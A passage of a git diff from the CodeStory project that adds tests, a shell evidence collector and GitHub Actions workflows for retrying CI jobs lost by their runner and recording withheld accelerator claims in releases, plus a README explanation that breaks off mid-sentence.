annotations: [], log_uploaded: true })], + }); + assert.deepEqual(proven.hosts.map(({ state }) => state), ["proven"]); + assert.deepEqual(proven.withheld_hosts, []); + assert.deepEqual(proven.blocked_hosts, []); + + // Attempts still owed: the run must be re-dispatched before anything may be withheld. + const pending = planAcceleratorNonClaim({ runAttempt: 1, hosts: [linuxHost], jobs: [lostJob()] }); + assert.deepEqual(pending.hosts.map(({ state }) => state), ["retry_pending"]); + assert.deepEqual(pending.withheld_hosts, []); + assert.deepEqual(pending.blocked_hosts, ["linux-x64-vulkan"]); + + const withheld = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob(), lostAgain()], + }); + assert.deepEqual(withheld.hosts.map(({ state }) => state), ["withheld"]); + assert.deepEqual(withheld.withheld_hosts, ["linux-x64-vulkan"]); + assert.deepEqual(withheld.blocked_hosts, []); + assert.equal(withheld.hosts[0].lost_executions, MAXIMUM_RUN_ATTEMPTS); + + // Withholding is the end of the bounded recovery path, never a shortcut around it. A release + // sitting at attempt 2 for an unrelated reason has spent no recovery on this host, so its first + // lost runner is owed one -- the earlier code withheld the claim here with zero recoveries. + const firstLossOnAReRunRelease = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.deepEqual(firstLossOnAReRunRelease.hosts.map(({ state }) => state), ["retry_pending"]); + assert.equal(firstLossOnAReRunRelease.hosts[0].lost_executions, 1); + assert.deepEqual(firstLossOnAReRunRelease.withheld_hosts, []); + assert.deepEqual(firstLossOnAReRunRelease.blocked_hosts, ["linux-x64-vulkan"]); + // The two halves agree: what the non-claim refuses to withhold, the rerun plan agrees to retry. + assert.equal( + planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }).rerun, + true, + ); + + // The proof ran and refused to pass: exhausting attempts must not convert that into a non-claim. + const assertionFailure = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [assertionJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.deepEqual(assertionFailure.hosts.map(({ state }) => state), ["blocked"]); + assert.equal(assertionFailure.hosts[0].detail, JOB_ASSERTION_FAILURE); + assert.deepEqual(assertionFailure.withheld_hosts, []); + + // A cancelled proof and a proof that never ran are both blocked, never withheld. + for (const jobs of [ + [lostJob({ conclusion: "cancelled", run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + [], + ]) { + const blocked = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs, + }); + assert.deepEqual(blocked.withheld_hosts, []); + assert.deepEqual(blocked.blocked_hosts, ["linux-x64-vulkan"]); + } +}); + +// ── The shell collector ───────────────────────────────────────────────────────────────────── + +const collector = fileURLToPath(new URL("./collect-actions-job-evidence.sh", import.meta.url)); + +const collectorJobs = { + jobs: [ + { + id: 41, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: 1, + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + ], + }, + { + id: 42, + name: "Release / Workflow policy", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Enforce workflow policy", status: "completed", conclusion: "success" }], + }, + ], +}; + +/// A `gh api` stand-in faithful enough to answer the three questions the collector asks, including +/// the ones it must refuse to answer. `annotations` and `logs` each take an HTTP status; the stub +/// reproduces gh's real behaviour for it -- a non-2xx exits 1 and prints the status line only when +/// `--include` was passed, which is exactly how the collector distinguishes "no log" from "no +/// answer". +function runCollector({ + annotationsStatus = 200, + logsStatus = 404, + runAttempt = 1, + jobsByAttempt = { 1: collectorJobs }, +} = {}) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-collect-")); + const bin = path.join(directory, "bin"); + mkdirSync(bin); + for (const [attempt, listing] of Object.entries(jobsByAttempt)) { + writeFileSync(path.join(directory, `jobs-${attempt}.json`), JSON.stringify(listing)); + } + const annotations = JSON.stringify([ + { annotation_level: "failure", message: LOST_RUNNER_ANNOTATION }, + ]); + writeFileSync(path.join(bin, "gh"), `#!/bin/sh +include=0 +for arg in "$@"; do + case "$arg" in --include|-i) include=1 ;; esac +done +answer() { + status="$1" + body="$2" + case "$status" in + 2*) [ "$include" = 1 ] && printf 'HTTP/2.0 %s OK\\r\\n\\r\\n' "$status" + [ -n "$body" ] && printf '%s\\n' "$body" + exit 0 ;; + *) [ "$include" = 1 ] && printf 'HTTP/2.0 %s Refused\\r\\n\\r\\n' "$status" + echo "gh: HTTP $status" >&2 + exit 1 ;; + esac +} +requested_attempt() { + for arg in "$@"; do + case "$arg" in + *"/attempts/"*"/jobs"*) + printf '%s' "$arg" | sed -e 's|.*/attempts/||' -e 's|/jobs.*||' + return ;; + esac + done +} +case "$*" in + *"/actions/runs/"*"/jobs"*) + listing='${directory}/jobs-'"$(requested_attempt "$@")"'.json' + [ -f "$listing" ] || { echo "gh: no such attempt" >&2; exit 1; } + jq -c '.jobs[]' "$listing" ;; + *"/check-runs/"*"/annotations"*) answer '${annotationsStatus}' '${annotations}' ;; + *"/actions/jobs/"*"/logs"*) answer '${logsStatus}' '' ;; + *) printf '[]\\n' ;; +esac +`, { mode: 0o755 }); + const output = path.join(directory, "evidence.json"); + const collected = spawnSync("bash", [collector, "7", String(runAttempt), output], { + encoding: "utf8", + env: { + ...process.env, + PATH: `${bin}:${process.env.PATH}`, + GITHUB_REPOSITORY: "TheGreenCedar/CodeStory", + }, + }); + return { + status: collected.status, + stderr: collected.stderr, + rows: existsSync(output) ? JSON.parse(readFileSync(output, "utf8")) : null, + }; +} + +test("the shell collector hands the classifier the whole signature", () => { + // The three signature parts live in three different Actions endpoints, so the collector is the + // only place they are joined. A collector that dropped one of them would silently turn every + // lost job into an assertion failure, which no unit test of the classifier can catch. + const collected = runCollector(); + assert.equal(collected.status, 0, collected.stderr); + assert.equal(collected.rows.length, 2); + const plan = planLostRunnerRerun({ runAttempt: 1, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, true); + assert.deepEqual(plan.rerun_job_ids, [41]); + assert.equal(plan.lost_jobs[0].evidence.log_uploaded, false); + assert.equal(plan.lost_jobs[0].evidence.annotation_matched, true); + assert.deepEqual(plan.lost_jobs[0].evidence.empty_conclusion_steps, [ + "Prove offline Linux Vulkan retrieval", + ]); + // The probe result is recorded, so a reader can see which answer produced the verdict. + const failed = collected.rows.find(({ id }) => id === 41); + assert.deepEqual(failed.evidence_probe, { annotations_read: true, log_http_status: 404 }); +}); + +test("a failed job that did upload its log is an assertion failure, not a lost runner", () => { + // The permissive direction of the log probe. Everything else about job 41 matches the lost-runner + // signature exactly; only the uploaded log separates it from one, so this is the branch that + // keeps an ordinary red proof out of the retry-and-withhold lane. + const collected = runCollector({ logsStatus: 200 }); + assert.equal(collected.status, 0, collected.stderr); + const failed = collected.rows.find(({ id }) => id === 41); + assert.equal(failed.log_uploaded, true); + assert.deepEqual(failed.evidence_probe, { annotations_read: true, log_http_status: 200 }); + + const plan = planLostRunnerRerun({ runAttempt: 1, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, false); + assert.equal(plan.reason, "no_runner_communication_loss"); + assert.deepEqual(plan.rerun_job_ids, []); + assert.deepEqual(plan.not_retried_jobs.map(({ signature }) => signature), [JOB_ASSERTION_FAILURE]); + + // And it can never become a withheld claim, however many attempts are spent on it. + const nonClaim = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: collected.rows, + }); + assert.deepEqual(nonClaim.withheld_hosts, []); + assert.deepEqual(nonClaim.blocked_hosts, ["linux-x64-vulkan"]); + assert.equal(nonClaim.hosts[0].detail, JOB_ASSERTION_FAILURE); +}); + +test("the collector reads every attempt so the recovery bound counts recoveries", () => { + // The recovery counter needs history the current attempt alone does not have. Attempt 1 lost the + // Linux host; attempt 2 re-executed it (a new job id) and lost it again, and also lists the + // policy job Actions carried forward unchanged under its original id. + const lostAt = (id, attempt) => ({ + id, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: attempt, + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + ], + }); + const carriedForward = { + id: 42, + name: "Release / Workflow policy", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Enforce workflow policy", status: "completed", conclusion: "success" }], + }; + const collected = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [lostAt(41, 1), carriedForward] }, + 2: { jobs: [lostAt(43, 2), carriedForward] }, + }, + }); + assert.equal(collected.status, 0, collected.stderr); + // Three executions, not four: the carried-forward job is listed by both attempts under one id. + assert.deepEqual(collected.rows.map(({ id }) => id), [41, 42, 43]); + + assert.equal(countLostExecutions(collected.rows, "Packaged Linux Vulkan engine"), 2); + const plan = planLostRunnerRerun({ runAttempt: 2, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, false); + assert.equal(plan.reason, "recovery_bound_reached"); + const nonClaim = planAcceleratorNonClaim({ + runAttempt: 2, + hosts: [linuxHost], + jobs: collected.rows, + }); + assert.deepEqual(nonClaim.withheld_hosts, ["linux-x64-vulkan"]); + assert.equal(nonClaim.hosts[0].lost_executions, 2); + + // A host that succeeded on attempt 1 and was not re-executed is still `proven`, whether or not + // Actions carries it into the attempt-2 listing. Reading only the current attempt would report + // `job_absent_from_run` for every healthy host and block the recovery a second way. + const macos = { + id: 44, + name: "macos-metal-proof / Packaged Apple Silicon Metal engine", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Prove Metal retrieval", status: "completed", conclusion: "success" }], + }; + const onlyTheLostJobRetried = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [lostAt(41, 1), macos, carriedForward] }, + 2: { jobs: [lostAt(43, 2)] }, + }, + }); + assert.equal(onlyTheLostJobRetried.status, 0, onlyTheLostJobRetried.stderr); + assert.deepEqual( + planAcceleratorNonClaim({ + runAttempt: 2, + hosts: [linuxHost, { id: "macos-arm64-metal", job_name: "Packaged Apple Silicon Metal engine" }], + jobs: onlyTheLostJobRetried.rows, + }).hosts.map(({ host, state }) => [host, state]), + [["linux-x64-vulkan", "withheld"], ["macos-arm64-metal", "proven"]], + ); + + // The same run with only one loss so far still owes a recovery, and is refused a non-claim. + const onlyOnce = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [carriedForward] }, + 2: { jobs: [lostAt(43, 2), carriedForward] }, + }, + }); + assert.equal(onlyOnce.status, 0, onlyOnce.stderr); + assert.equal(countLostExecutions(onlyOnce.rows, "Packaged Linux Vulkan engine"), 1); + assert.equal( + planAcceleratorNonClaim({ runAttempt: 2, hosts: [linuxHost], jobs: onlyOnce.rows }) + .hosts[0].state, + "retry_pending", + ); + assert.equal( + planLostRunnerRerun({ runAttempt: 2, runConclusion: "failure", jobs: onlyOnce.rows }).rerun, + true, + ); +}); + +test("the collector refuses an answer it did not get, rather than reporting an absence", () => { + // A 403 on the annotations endpoint is what a token without `checks: read` produces. Reporting + // it as "this job had no annotations" is the fail-open that made the whole recovery path inert: + // the signature can never match, so a genuinely lost runner reads as an assertion failure. + const forbidden = runCollector({ annotationsStatus: 403 }); + assert.equal(forbidden.status, 1); + assert.equal(forbidden.rows, null); + assert.match(forbidden.stderr, /Cannot read annotations for job 41/u); + assert.match(forbidden.stderr, /checks: read/u); + + // The same rule for the log blob: only 404 means "no log was uploaded". + for (const logsStatus of [403, 429, 500]) { + const refused = runCollector({ logsStatus }); + assert.equal(refused.status, 1, `logs ${logsStatus}`); + assert.equal(refused.rows, null, `logs ${logsStatus}`); + assert.match(refused.stderr, /Log blob probe for job 41 answered/u); + } +}); + +test("an evidence row without an established log_uploaded fact is refused", () => { + // The collector is the only thing that can know this, so the classifier must not invent it. An + // absent field used to read as `false` -- the half of the signature a lost runner needs. + const { log_uploaded: _dropped, ...withoutProbe } = lostJob(); + assert.throws(() => classifyJobFailure(withoutProbe), /log_uploaded must be a boolean/u); + assert.throws(() => classifyJobFailure(lostJob({ log_uploaded: "false" })), /must be a boolean/u); + assert.throws( + () => planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [withoutProbe], + }), + /log_uploaded must be a boolean/u, + ); + // Annotations are the same: an absent list is an unread endpoint, not an empty one. + const { annotations: _dropped2, ...withoutAnnotations } = lostJob(); + assert.throws(() => classifyJobFailure(withoutAnnotations), /annotations must be an array/u); +}); + +test("the CLI fails closed for every host it cannot decide", () => { + const rerun = runCli("plan-rerun", { + run_attempt: 1, + conclusion: "failure", + jobs: [lostJob()], + }); + assert.equal(rerun.status, 0); + assert.equal(rerun.plan.rerun, true); + assert.match(rerun.outputs, /^rerun=true$/mu); + assert.match(rerun.outputs, /^job_ids=41$/mu); + + const refused = runCli("plan-rerun", { + run_attempt: 1, + conclusion: "failure", + jobs: [assertionJob()], + }); + assert.equal(refused.status, 0); + assert.equal(refused.plan.rerun, false); + assert.match(refused.outputs, /^rerun=false$/mu); + assert.match(refused.outputs, /^job_ids=$/mu); + + const withheld = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob(), lostAgain()], + }); + assert.equal(withheld.status, 0); + assert.match(withheld.outputs, /^withheld_hosts=linux-x64-vulkan$/mu); + + // One loss on a run that reached attempt 2 for its own reasons is still owed a recovery, so the + // CLI refuses to withhold and exits non-zero rather than recording an unearned non-claim. + const owed = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.equal(owed.status, 1); + assert.match(owed.stderr, /automatic_rerun_still_owed/u); + assert.match(owed.outputs, /^withheld_hosts=$/mu); + + const blocked = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [assertionJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.equal(blocked.status, 1); + assert.match(blocked.stderr, /job_assertion_failure/u); + assert.match(blocked.outputs, /^withheld_hosts=$/mu); +}); diff --git a/.github/workflows/auto-release.yml b/.github/workflows/auto-release.yml index 964b47849..be1b5528c 100644 --- a/.github/workflows/auto-release.yml +++ b/.github/workflows/auto-release.yml @@ -62,6 +62,9 @@ jobs: if: needs.detect-version.outputs.should_release == 'true' && needs.detect-version.outputs.release_lane == 'native' permissions: actions: read + # This is the lane that actually publishes releases, so it is the lane whose token has to be + # able to read the lost-runner annotation. A called workflow cannot widen the caller's grant. + checks: read contents: write pull-requests: read uses: ./.github/workflows/release.yml diff --git a/.github/workflows/lost-runner-rerun.yml b/.github/workflows/lost-runner-rerun.yml new file mode 100644 index 000000000..43a0ad148 --- /dev/null +++ b/.github/workflows/lost-runner-rerun.yml @@ -0,0 +1,86 @@ +name: Lost runner rerun + +# The repository owns exactly one GPU Linux host, so a single dropped connection used to cost a +# whole release. This companion re-dispatches the individual jobs that carry the lost-runner +# signature -- and only those -- with no approval step anywhere: recovery is a machine decision or +# it does not happen. A job that ran and failed its own assertions is never named in the rerun +# request, so it stays red and keeps the run red. + +on: + workflow_run: + workflows: + - Auto Release + - Release + types: + - completed + +permissions: + actions: write + # The lost-runner signature includes the job annotation Actions leaves behind, and + # GET /repos/{owner}/{repo}/check-runs/{id}/annotations is gated on `checks: read`. Without it + # the collector cannot read the signature at all, so the recovery path is dead. + checks: read + contents: read + +concurrency: + group: lost-runner-rerun-${{ github.event.workflow_run.id }} + cancel-in-progress: false + +jobs: + rerun-lost-jobs: + name: Re-dispatch jobs lost by their runner + if: github.event.workflow_run.conclusion == 'failure' + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout recovery policy + uses: actions/checkout@v5 + + - name: Collect Actions failure evidence + env: + GH_TOKEN: ${{ github.token }} + FAILED_RUN_ID: ${{ github.event.workflow_run.id }} + FAILED_RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }} + FAILED_RUN_CONCLUSION: ${{ github.event.workflow_run.conclusion }} + shell: bash + run: | + set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$FAILED_RUN_ID" "$FAILED_RUN_ATTEMPT" target/lost-runner/jobs.json + jq -n \ + --arg run_attempt "$FAILED_RUN_ATTEMPT" \ + --arg conclusion "$FAILED_RUN_CONCLUSION" \ + --slurpfile jobs target/lost-runner/jobs.json \ + '{run_attempt: $run_attempt, conclusion: $conclusion, jobs: $jobs[0]}' \ + > target/lost-runner/rerun-input.json + + - name: Plan the bounded rerun + id: plan + shell: bash + run: | + set -euo pipefail + node .github/scripts/lost-runner-recovery.mjs plan-rerun \ + --input target/lost-runner/rerun-input.json \ + --out target/lost-runner/rerun-plan.json + + - name: Re-dispatch only the lost jobs + if: steps.plan.outputs.rerun == 'true' + env: + GH_TOKEN: ${{ github.token }} + JOB_IDS: ${{ steps.plan.outputs.job_ids }} + shell: bash + run: | + set -euo pipefail + test -n "$JOB_IDS" + for job_id in $JOB_IDS; do + gh api --method POST "repos/$GITHUB_REPOSITORY/actions/jobs/$job_id/rerun" + done + + - name: Upload the recovery decision + if: always() + uses: actions/upload-artifact@v7.0.1 + with: + name: lost-runner-rerun-${{ github.event.workflow_run.id }}-attempt-${{ github.event.workflow_run.run_attempt }} + path: target/lost-runner + if-no-files-found: error + retention-days: 30 diff --git a/.github/workflows/plugin-static.yml b/.github/workflows/plugin-static.yml index f7499570d..f9e5abb9a 100644 --- a/.github/workflows/plugin-static.yml +++ b/.github/workflows/plugin-static.yml @@ -12,6 +12,9 @@ on: - .github/scripts/package-codestory-release.py - .github/scripts/check-workflow-policy.mjs - .github/scripts/check-workflow-policy.test.mjs + - .github/scripts/collect-actions-job-evidence.sh + - .github/scripts/lost-runner-recovery.mjs + - .github/scripts/lost-runner-recovery.test.mjs - .github/scripts/cargo-cache-contract.mjs - .github/scripts/cargo-cache-contract.test.mjs - .github/scripts/install-codestory-marketplace-proof.mjs @@ -80,6 +83,9 @@ on: - .github/scripts/package-codestory-release.py - .github/scripts/check-workflow-policy.mjs - .github/scripts/check-workflow-policy.test.mjs + - .github/scripts/collect-actions-job-evidence.sh + - .github/scripts/lost-runner-recovery.mjs + - .github/scripts/lost-runner-recovery.test.mjs - .github/scripts/cargo-cache-contract.mjs - .github/scripts/cargo-cache-contract.test.mjs - .github/scripts/install-codestory-marketplace-proof.mjs @@ -188,6 +194,7 @@ jobs: run: | node .github/scripts/check-workflow-policy.mjs node --test .github/scripts/check-workflow-policy.test.mjs + node --test .github/scripts/lost-runner-recovery.test.mjs node --test .github/scripts/cargo-cache-contract.test.mjs - name: Check real Codex marketplace installation diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ee9e6f6c1..659e663f5 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -30,6 +30,10 @@ on: permissions: actions: read + # accelerator-non-claim reads the job annotation that identifies a lost runner, which the Actions + # annotations endpoint gates on `checks: read`. Without it the collector fails closed and this + # workflow stops rather than mistaking an unreadable signature for an ordinary failure. + checks: read contents: read pull-requests: read @@ -72,6 +76,7 @@ jobs: run: | node .github/scripts/check-workflow-policy.mjs node --test .github/scripts/check-workflow-policy.test.mjs + node --test .github/scripts/lost-runner-recovery.test.mjs preflight: name: Release preflight @@ -327,9 +332,155 @@ jobs: candidate_producer_workflow_path: ${{ inputs.publish_release && '.github/workflows/auto-release.yml' || '.github/workflows/release.yml' }} emit_release_cells: true + # The repository owns one host per accelerator. When a host drops its connection instead of + # reporting, .github/scripts/lost-runner-rerun.yml re-dispatches it once; if the second attempt is + # lost the same way, this job records a populated non-claim for that host so the closeout has a + # visible withheld claim to accept instead of an unexplained gap. It refuses -- and fails the run + # -- for every other shape of failure, so a proof that ran and disagreed can never be withheld. + accelerator-non-claim: + name: Withhold unproven accelerator claims + if: always() && needs.preflight.result == 'success' && needs.packaged-proof.result == 'success' + needs: + - preflight + - packaged-proof + - macos-metal-proof + - windows-vulkan-proof + - linux-vulkan-proof + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout exact release source + uses: actions/checkout@v5 + with: + ref: ${{ github.sha }} + fetch-depth: 0 + + - name: Collect protected accelerator job evidence + env: + GH_TOKEN: ${{ github.token }} + shell: bash + run: | + set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-non-claim/jobs.json + jq -n \ + --arg run_attempt "$GITHUB_RUN_ATTEMPT" \ + --slurpfile graph release-claims.json \ + --slurpfile jobs target/release-non-claim/jobs.json \ + '{ + run_attempt: $run_attempt, + hosts: [$graph[0].non_claim_policy.hosts[] + | {id: .id, job_name: .unavailable_producer_job_name}], + jobs: $jobs[0] + }' > target/release-non-claim/plan-input.json + + - name: Decide withheld accelerator hosts + id: non-claim + shell: bash + run: | + set -euo pipefail + node .github/scripts/lost-runner-recovery.mjs plan-non-claim \ + --input target/release-non-claim/plan-input.json \ + --out target/release-non-claim/plan.json + + - name: Download release packages for withheld identity + if: steps.non-claim.outputs.withheld_hosts != '' + uses: actions/download-artifact@v8.0.1 + with: + pattern: codestory-cli-* + path: target/release-dist + merge-multiple: false + + - name: Record populated accelerator non-claims + if: steps.non-claim.outputs.withheld_hosts != '' + env: + WITHHELD_HOSTS: ${{ steps.non-claim.outputs.withheld_hosts }} + VERSION: ${{ needs.preflight.outputs.version }} + shell: bash + run: | + set -euo pipefail + version="${VERSION#v}" + jq -n \ + --arg installer candidate_managed_plugin \ + --arg native_engine coderank_q8_embedded \ + '{installer: $installer, native_engine: $native_engine}' \ + > target/release-non-claim/identity.json + for host in $WITHHELD_HOSTS; do + case "$host" in + macos-arm64-metal) target=macos-arm64; extension=tar.gz ;; + windows-x64-vulkan) target=windows-x64; extension=zip ;; + linux-x64-vulkan) target=linux-x64; extension=tar.gz ;; + *) echo "::error::unknown non-claim host $host"; exit 1 ;; + esac + node scripts/codestory-release-cell-manifest.mjs withhold \ + --repo "$GITHUB_WORKSPACE" \ + --expected-sha "$GITHUB_SHA" \ + --version "$version" \ + --host "$host" \ + --producer-run-id "$GITHUB_RUN_ID" \ + --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ + --identity target/release-non-claim/identity.json \ + --archive "target/release-dist/codestory-cli-$target/codestory-cli-v$version-$target.$extension" \ + --out-dir "target/release-non-claim/cells/$host" + done + + - name: Upload withheld pre-publish macOS accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'macos-arm64-metal') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-macos-arm64-metal-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/macos-arm64-metal/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish macOS accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'macos-arm64-metal') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-macos-arm64-metal-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/macos-arm64-metal/post_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld pre-publish Windows accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'windows-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-windows-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/windows-x64-vulkan/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish Windows accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'windows-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-windows-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/windows-x64-vulkan/post_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld pre-publish Linux accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'linux-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/linux-x64-vulkan/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish Linux accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'linux-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-linux-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/linux-x64-vulkan/post_publish + if-no-files-found: error + retention-days: 30 + pre-publish-closeout: name: Authenticate pre-publish release cells - if: always() && needs.preflight.result == 'success' && (needs.source-proof.result == 'success' || needs.source-proof.result == 'skipped') + if: always() && needs.preflight.result == 'success' && (needs.source-proof.result == 'success' || needs.source-proof.result == 'skipped') && (needs.accelerator-non-claim.result == 'success' || needs.accelerator-non-claim.result == 'skipped') needs: - preflight - source-proof @@ -337,6 +488,7 @@ jobs: - macos-metal-proof - windows-vulkan-proof - linux-vulkan-proof + - accelerator-non-claim runs-on: ubuntu-latest timeout-minutes: 10 steps: @@ -354,6 +506,10 @@ jobs: shell: bash run: | set -euo pipefail + # The closeout reads the lost-runner signature itself rather than trusting the non-claim + # producer's verdict, so it collects the same Actions evidence independently. + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-closeout/job-evidence.json node scripts/codestory-release-cell-manifest.mjs producer-map \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ @@ -361,6 +517,7 @@ jobs: --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ --reuse "$REUSE_SELECTION" \ + --job-evidence target/release-closeout/job-evidence.json \ --out target/release-closeout/trusted-pre-publish-producers.json artifact_ids="$(jq -r '[.artifacts[].id] | join(",")' target/release-closeout/trusted-pre-publish-producers.json)" test -n "$artifact_ids" @@ -455,6 +612,14 @@ jobs: pattern: codestory-cli-* merge-multiple: true + # The published notes and the shipped summary both have to say what this release proved, so + # they are rendered from the accepted ledger rather than from the static claim graph. + - name: Download the accepted pre-publish closeout + uses: actions/download-artifact@v8.0.1 + with: + name: release-closeout-pre-publish-${{ needs.preflight.outputs.version }}-${{ github.sha }} + path: target/release-closeout + - name: Combine and verify checksums run: | set -euo pipefail @@ -462,6 +627,14 @@ jobs: test -s target/release-assets/SHA256SUMS.txt (cd target/release-assets && sha256sum -c SHA256SUMS.txt) + - name: Ship the accepted closeout summary with the release + run: | + set -euo pipefail + summary=target/release-closeout/pre_publish/summary.json + test -f "$summary" + test "$(jq -r .decision "$summary")" = accept + cp "$summary" target/release-assets/release-closeout-summary.json + - name: Compose versioned GitHub release notes env: VERSION: ${{ needs.preflight.outputs.version }} @@ -472,7 +645,8 @@ jobs: --output target/release-assets/release-notes.md { printf '\n' - node scripts/codestory-release-claims.mjs release-platform-notes + node scripts/codestory-release-claims.mjs release-platform-notes \ + --ledger target/release-closeout/pre_publish/ledger.json printf '\n' } >> target/release-assets/release-notes.md @@ -514,7 +688,8 @@ jobs: actual_file="$(mktemp)" printf '%s\n' "${expected_names[@]}" | sort > "$expected_file" find target/release-assets -maxdepth 1 -type f \ - \( -name 'codestory-cli-v*.tar.gz' -o -name 'codestory-cli-v*.zip' -o -name 'SHA256SUMS.txt' \) \ + \( -name 'codestory-cli-v*.tar.gz' -o -name 'codestory-cli-v*.zip' \ + -o -name 'SHA256SUMS.txt' -o -name 'release-closeout-summary.json' \) \ -exec basename {} \; | sort > "$actual_file" if ! diff -u "$expected_file" "$actual_file"; then echo "::error::Release assets differ from the release claim graph." @@ -611,12 +786,15 @@ jobs: shell: bash run: | set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-closeout/job-evidence.json node scripts/codestory-release-cell-manifest.mjs producer-map \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ --phase post_publish \ --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ + --job-evidence target/release-closeout/job-evidence.json \ --out target/release-closeout/trusted-post-publish-producers.json artifact_ids="$(jq -r '[.artifacts[].id] | join(",")' target/release-closeout/trusted-post-publish-producers.json)" test -n "$artifact_ids" diff --git a/README.md b/README.md index f18ce23ae..40a9ac7ef 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,26 @@ flowchart LR | Windows ARM | Unsupported | +"Supported with Metal" and "Supported with Vulkan" describe what the release +line ships and intends to prove. Each individual release proves it on the +protected hardware for that platform, and a release whose accelerator host was +unreachable ships with that platform's accelerator claim **withheld** rather +than assumed: the accelerator ran on that host in earlier releases, but this +release did not observe it. + +You do not have to take the table's word for any single release. Every release +ships `release-closeout-summary.json` as a release asset, and its platform +section in the GitHub release notes is rendered from that release's ledger, so +a platform whose accelerator was withheld says so in the notes instead of being +listed as supported. In the summary, `withheld_cells` names every cell that did +not run, `withheld_claims` names the claims 